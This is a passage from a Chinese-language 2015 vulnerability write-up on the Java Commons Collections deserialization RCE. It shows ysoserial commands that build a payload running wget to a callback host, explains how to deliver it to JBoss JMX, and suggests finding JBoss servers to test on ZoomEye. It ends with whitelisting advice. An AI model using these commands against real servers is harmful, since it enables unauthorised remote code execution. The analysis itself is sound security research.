为什么说这个RCE影响大，具体可以看看参考文章1中作者给出的几个案例，可以看到主流的java-web中间件都受到了影响，包括jboss、WebLogic、WebSphere等。 141 | 142 | 以jboss为例的利用教程，在zone里已经给出步骤了，利用门槛不高，只需要在zoomeye上找jboss来测试即可。 143 | 144 | 由于是RCE，所以花样很多了，这里我就挑几个案例，利用CloudEye执行看看，执行命令为： 145 | 146 | 147 | 148 | #!bash 149 | wget http://your-cloudeye-site 150 | 151 | 152 | 如果成功执行，那么我们的cloudeye上应该有日志的。 具体如下： 153 | 154 | 155 | 156 | #!bash 157 | java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'wget http://your-cloudeye-site' > out.ser 158 | 159 | 160 | 上面的命令是获取执行wget命令的`handler`对象的序列化code，然后我们访问jboss里的JMX服务： 161 | 162 | ![](http://static.wooyun.org//drops/20151111/2015111114231264837.png) 163 | 164 | 在cloudeye上，成功获取了访问记录： 165 | 166 | ![](http://static.wooyun.org//drops/20151111/2015111114231474067.png) 167 | 168 | 配合cloudeye，我们完全可以做到命令回显，不过既然是RCE了，玩儿法就太多了。 169 | 170 | 实际上，参考文章1中给出了JAVA中使用了序列化的场景： 171 | 172 | > * In HTTP requests – Parameters, ViewState, Cookies, you name it. 173 | 174 | > * RMI – The extensively used Java RMI protocol is 100% based onserialization 175 | 176 | > * RMI over HTTP – Many Java thick client web apps use this – again 100%serialized objects 177 | 178 | > * JMX – Again, relies on serialized objects being shot over the wire 179 | 180 | > * Custom Protocols – Sending an receiving raw Java objects is the norm –which we’ll see in some of the exploits to come 181 | 182 | 如果想探索这个漏洞的利用，那么我推荐你阅读以下这篇文章。 183 | 184 | # 0x04 总结 185 | 186 | * * * 187 | 188 | 总结下，漏洞产生的主要问题还是在用户可控的序列化字符串上，在使用`ObjectInputStream`与`ObjectOutputStream`类的时候，最好进行白名单校验，防止意外的发生。 配合参考文章1，估计接下来乌云上又会刮起一阵腥风血雨。 189 | 190 | # 参考文章： 191 | 192 | 1. 193 | 2. 194 | 3. 195 | 196 | --------------------------------------------------------------------------------